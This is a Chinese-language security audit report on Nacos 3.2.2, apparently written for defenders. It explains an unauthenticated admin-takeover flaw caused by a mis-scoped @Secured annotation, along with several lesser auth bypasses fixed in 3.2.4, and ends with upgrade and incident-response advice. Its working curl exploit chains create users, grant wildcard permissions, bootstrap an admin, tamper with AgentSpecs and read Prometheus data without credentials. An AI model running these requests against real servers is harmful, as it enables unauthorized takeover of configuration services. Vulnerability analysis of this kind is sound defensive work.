Nacos-3.2.2权限漏洞与升级分析-安全审计报告

98次阅读
没有评论

Nacos 3.2.2 → 3.2.4 权限漏洞与升级-安全审计报告

分析日期:2026-08-28
分析对象:\nacos(3.2.2,当前部署版) vs \nacos-3.2.4(最新发布版)
核心结论:3.2.2 存在「未授权自建管理员账户并接管服务端」的严重权限漏洞,3.2.4 已修复。


一、核心漏洞:鉴权管理接口作用域错配 → 未授权自建管理员接管服务端

1.1 漏洞一句话

Nacos 3.2.2 中,用户/角色/权限管理接口(/v3/auth/user、/v3/auth/role、/v3/auth/permission)的 @Secured 注解没有指定 apiType,默认为 OPEN_API 作用域。而 Nacos 3.x 中 OPEN_API 作用域鉴权默认关闭(nacos.core.auth.enabled=false),导致这些管理接口在默认配置下完全不经过鉴权——任何未登录攻击者都可以创建用户、绑定角色、授权通配权限,最终自建出管理员权限的账户并接管服务端。

1.2 ✅ 已在本机 3.2.2 复现验证

复现环境:本地源码构建的 Nacos 3.2.2 standalone(默认配置 nacos.core.auth.enabled=false),2026-08-28 实测。

PoC 脚本:\nacos-poc.sh(bash nacos-poc.sh [host] [port],每次运行自动生成唯一攻击者账号)。

实测结果(全部 7 步通过):

步骤 操作 未带任何 token 的结果
① POST /v3/auth/user 创建用户 ✅ create user ok!
② POST /v3/auth/role 绑定角色 ✅ add role ok!
③ POST /v3/auth/permission 授予 public:*:* rw ✅ add permission ok!
④ POST /v3/auth/user/login 登录 ✅ 返回 JWT accessToken
⑤ POST /v3/admin/cs/config 写入配置 ✅ data:true
⑥ GET /v3/admin/cs/config 读回配置 ✅ content=owned_by_attacker
⑦ GET /v3/auth/user/list 等 ✅ 攻击者账号/角色/权限均已在册

关键证据:步骤 ①②③ 全程未携带任何 Cookie/Token/Authorization 头,服务端直接执行业务逻辑返回成功——证明这些管理接口在默认配置下完全无鉴权。

复现中发现的两个运行时细节(不影响漏洞判定):

  • conf/application.properties 中 nacos.core.auth.enabled=false 需通过 --spring.config.additional-location=file:<nacos-home>/conf/(必须带 file: 前缀)才能生效,否则会使用 jar 内嵌默认值 true。
  • 用户缓存每 ~15s 刷新(AbstractCachedUserService.@Scheduled),新建用户登录需等缓存刷新(PoC 已加重试)。

1.3 修复提交

提交 标题 说明
8e1b71ed5 refactor(auth): add ApiType.ADMIN_API to secured annotations (#15563) 给 3 个管理控制器补 apiType = ApiType.ADMIN_API

1.3 根因详解(双作用域鉴权机制)

Nacos 3.x 引入 按 API 类型区分鉴权作用域 的机制,有两个 HTTP 鉴权过滤器,通过 @Secured.apiType 分流:

AuthFilter        .isMatchFilter()  →  !ADMIN_API.equals(apiType)   ← 处理 OPEN_API / CONSOLE_API / INNER_API
AuthAdminFilter   .isMatchFilter()  →   ADMIN_API.equals(apiType)   ← 仅处理 ADMIN_API

两个作用域各自有独立的「鉴权是否开启」开关,默认值恰好相反:

作用域 配置项 默认值 说明
OPEN_API nacos.core.auth.enabled false 客户端 SDK/gRPC 请求的 RBAC 开关
ADMIN_API nacos.core.auth.admin.enabled true 管理接口强制鉴权

该设计在官方 distribution/conf/application.properties 中明确注释:

# Enable this together with nacos.core.auth.admin.enabled when client-side SDK/gRPC requests also need RBAC checks.
nacos.core.auth.enabled=false
nacos.core.auth.admin.enabled=true

3.2.2 的缺陷:UserControllerV3 / RoleControllerV3 / PermissionControllerV3 的 @Secured 未指定 apiType → 默认 OPEN_API → 走 AuthFilter → isAuthEnabled() 读 nacos.core.auth.enabled = false(默认)→ 过滤器直接 chain.doFilter() 跳过全部认证与授权 → 请求直达控制器。

// 3.2.2 —— 缺陷代码(apiType 缺失,默认为 OPEN_API)
@PostMapping
@Secured(resource = "console/users", action = ActionTypes.WRITE)        // ← 没有 apiType
public Result<String> createUser(@RequestParam String username, @RequestParam String password) { ... }

// 3.2.4 —— 修复代码(显式指定 ADMIN_API)
@PostMapping
@Secured(resource = "console/users", action = ActionTypes.WRITE,
    apiType = ApiType.ADMIN_API)                                        // ← 走 AuthAdminFilter,admin.enabled=true 始终鉴权
public Result<String> createUser(@RequestParam String username, @RequestParam String password) { ... }

3.2.4 的修复:apiType = ADMIN_API → 走 AuthAdminFilter → isAuthEnabled() 读 nacos.core.auth.admin.enabled = true(默认)→ 始终鉴权,非管理员一律拒绝。

1.4 攻击效果

在默认配置(nacos.core.auth.enabled=false)的 3.2.2 上:

  1. 未登录即可调用创建用户接口;
  2. 未登录即可调用绑定角色接口;
  3. 未登录即可调用授权接口,给角色授予 public:*:*(所有命名空间/资源)读写权限;
  4. 攻击者得到一个拥有全部数据读写权限的账户,可接管服务端所有配置与服务;
  5. 若实例是全新部署且尚未初始化 admin,还可直接调用 POST /v3/auth/user/admin 创建默认管理员 nacos 并拿到 ROLE_ADMIN(该引导接口本就不带 @Secured,但正常流程要求先初始化)。

1.5 完整利用路径(PoC,默认配置即中招)

NA_HOST="http://<nacos-host>:8848/nacos"
# contextPath 默认 /nacos,按实际部署调整

# ── 第 1 步:未授权创建用户(无需任何 token)
curl -s -X POST "$NA_HOST/v3/auth/user" \
  -d "username=hacker&password=hacker123"
# → 3.2.2: 200 "create user ok!"   (漏洞!)
# → 3.2.4: 401/403                (修复生效)

# ── 第 2 步:未授权创建一个角色
curl -s -X POST "$NA_HOST/v3/auth/role" \
  -d "role=hacker_role&username=hacker"
# → 3.2.2: 200 "add role ok!"

# ── 第 3 步:未授权给该角色授予所有资源读写权限
curl -s -X POST "$NA_HOST/v3/auth/permission" \
  -d "role=hacker_role&resource=public:*:*&action=rw"
# → 3.2.2: 200 "add permission ok!"

# ── 第 4 步:登录拿到 token
TOKEN=$(curl -s -X POST "$NA_HOST/v3/auth/user/login" \
  -d "username=hacker&password=hacker123" \
  | python3 -c "import sys,json;print(json.load(sys.stdin).get('accessToken'))")

# ── 第 5 步:以该账户读写任意命名空间的配置/服务(接管数据面)
curl -s "$NA_HOST/v3/client/cs/config?dataId=xxx&group=yyy&namespaceId=public" \
  -H "Authorization: Bearer $TOKEN"

# ── 补充:全新实例未初始化 admin 时,直接创建默认管理员
curl -s -X POST "$NA_HOST/v3/auth/user/admin?password=evilpass"
# → 创建 nacos 账户 + ROLE_ADMIN,可登录控制台完全接管

# ── 其它同样受影响的管理接口(3.2.2 中同样无鉴权)
# DELETE /v3/auth/user?username=...    删除任意用户
# DELETE /v3/auth/role?role=...&username=...  解绑/删除角色
# GET    /v3/auth/user/list            遍历全部用户
# GET    /v3/auth/role/list            遍历全部角色
# GET    /v3/auth/permission/list      遍历全部权限

1.6 修复后验证

# 未登录直接创建用户 → 3.2.4 返回 401/403
curl -s -o /dev/null -w "%{http_code}\n" -X POST "http://<nacos-host>:8848/nacos/v3/auth/user" \
  -d "username=test_hacker&password=x"
# → 3.2.4: 401 或 403(不再 200)

# 用普通用户(非 admin)创建角色 → 同样被拒

1.7 受影响面(3.2.2)

plugin-default-impl/nacos-default-auth-plugin/.../controller/v3/ 下三个控制器全部受影响:

接口 方法 作用
POST /v3/auth/user createUser 创建用户
DELETE /v3/auth/user deleteUser 删除用户
PUT /v3/auth/user updateUser 修改密码
GET /v3/auth/user/list getUserList 遍历用户
GET /v3/auth/user/search searchUser 搜索用户
POST /v3/auth/role createRole 创建角色/绑定用户
DELETE /v3/auth/role deleteRole 删除角色
GET /v3/auth/role/list getRoleList 遍历角色
POST /v3/auth/permission createPermission 授权
DELETE /v3/auth/permission deletePermission 撤销权限
GET /v3/auth/permission/list getPermissionList 遍历权限

1.8 特别注意

  • 即使部署方手动设置了 nacos.core.auth.enabled=true,本漏洞在「开启 open API 鉴权」的部署中不触发;但凡是按默认配置运行、或把 open API 放开(auth.enabled=false)的部署,全部中招。而 nacos.core.auth.admin.enabled 默认 true 本意就是要保护管理接口,3.2.2 的错误分类使其失效。
  • POST /v3/auth/user/admin 引导接口本身不带 @Secured(两个版本一致),仅应在尚无任何 admin 用户时可用;这是设计行为,但请务必在初始化后确认该接口已返回 409。

二、漏洞 2:AI AgentSpec 等资源级鉴权失效 → 水平越权

补充漏洞(真实存在,但非本次「自建管理员」主因)

2.1 根因

3.2.2 的 AiHttpResourceParser:

public static final String AGENT_SPEC_PATH = "/ai/agentSpec";   // ← 与真实路由 /ai/agentspecs 不一致(大小写+缺 s)
// getResourceName 用 url.contains(AGENT_SPEC_PATH) 匹配 → 永远匹配不上 → 资源名为空

空资源名在 AbstractCheckedRoleService.joinResource() 中被拼成通配符 public:*:ai/*,资源级 ACL 退化为类型级——任何持有 AI 类通配权限的用户可操作任意 AgentSpec。

同时 HttpProtocolAuthService.parseResource() 会忽略控制器显式指定的自定义 parser,且 useSpecifiedParserToParse() 解析失败时返回 Resource.EMPTY_RESOURCE(fail-open,拼出 public:*:/*)。

2.2 修复(提交 059799c5e)

  • 修正路径常量为 /ai/agentspecs,改用完整路径段匹配(防前缀伪造);
  • 新增 AgentSpecCardHttpResourceParser / AgentSpecNameHttpResourceParser 解析真实资源名,控制器显式指定 parser;
  • 显式 parser 优先于 signType 默认 parser;
  • 解析器初始化失败改为抛异常(fail-closed)。

2.3 利用路径(概要)

# 持有任意 AI 类权限的已登录用户 → 越权操作任意名称的 AgentSpec
curl -s "$NA_HOST/v3/console/ai/agentspecs?agentSpecName=victim-agent&namespaceId=public" \
  -H "Authorization: Bearer $TOKEN"          # 3.2.2 越权读取
curl -s -X PUT "$NA_HOST/v3/console/ai/agentspecs/draft" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"agentSpecCard":"{\"name\":\"victim-agent\",...}"}'   # 3.2.2 越权篡改

三、漏洞 3:Prometheus 子路径认证/鉴权绕过

补充漏洞

3.1 根因

PrometheusAuthFilter 的 4 个 Spring Security 过滤器在 3.2.2 中只注册在基础路径 /prometheus(精确匹配),子路径完全不过过滤器:

// 3.2.2
registration.addUrlPatterns(PROMETHEUS_CONTROLLER_PATH);   // 只匹配 /prometheus,不匹配 /prometheus/namespaceId/...

3.2 利用路径

# 无需任何认证直接读取服务指标(实例 IP/端口/元数据)
curl -s "http://<nacos-host>:8848/nacos/prometheus/namespaceId/public/service/user-service"

3.3 修复(059799c5e)

// 3.2.4
registration.addUrlPatterns(PROMETHEUS_CONTROLLER_PATH, PROMETHEUS_CONTROLLER_PATH + "/*");

四、漏洞 4:登录接口用户名枚举

提交 544352de8 (#15682)

3.2.2 中用户不存在抛 UsernameNotFoundException(→500/不同报文),密码错误抛 AccessException(→403),可区分枚举用户名。3.2.4 统一为相同 403 + 相同报文,并跳过未知用户的密码哈希计算。

curl -s -o /dev/null -w "%{http_code}" -X POST "$NA_HOST/v3/auth/user/login" \
  -d "username=nobody123&password=x"     # 3.2.2: 500(不存在) vs 403(存在)

五、其他配套安全修复

提交 内容
059799c5e Console 集群/容量/加载器接口 signType 修正(CONFIG→CONSOLE);Plugin 可用性集群请求补鉴权;AgentSpec 资源解析修复
68d13fcee (#15742/43) Console 维护客户端调用者身份转发,防身份伪造/串号
cd6f5b0f3 (#15476) Prompt 可见性校验修复
2f284091d (#15560) MCP 工具透传鉴权持久化
ebc3ca43b (#15687) JRaft gRPC 请求服务端身份认证
a0afcfe59 (#15688) context-path URI 解析对齐

六、升级注意事项(3.2.4 breaking changes)

  1. Prometheus 子路径现在强制认证——监控采集端需补充 basic_auth/token。
  2. 被废弃的 v3 AI 旧 API 默认返回 HTTP 410 Gone(nacos.core.api.compatibility.enabled=true 可临时开启)。
  3. 私有 MCP 工具导入需要 allowlist:nacos.console.ai.mcp.import.allowed-private-addresses。
  4. JRaft gRPC 服务端身份认证要求集群 nacos.core.auth.server.identity.key/value 一致。

七、建议行动清单(紧急)

  • [ ] 生产环境立即升级到 3.2.4(本漏洞在默认配置下可直接接管服务端)。
  • [ ] 升级前排查入侵痕迹:审计 /v3/auth/user|role|permission 是否有异常 POST 记录、是否存在非预期用户/角色/权限。
  • [ ] 升级后验证 POST /v3/auth/user 未授权返回 401/403。
  • [ ] 检查 nacos.core.auth.admin.enabled 保持 true,并确认 nacos.core.auth.enabled 的配置符合预期。
  • [ ] 升级后轮换所有账户口令。
  • [ ] 确认 POST /v3/auth/user/admin 引导接口已返回 409(admin 已存在)。
正文完
 0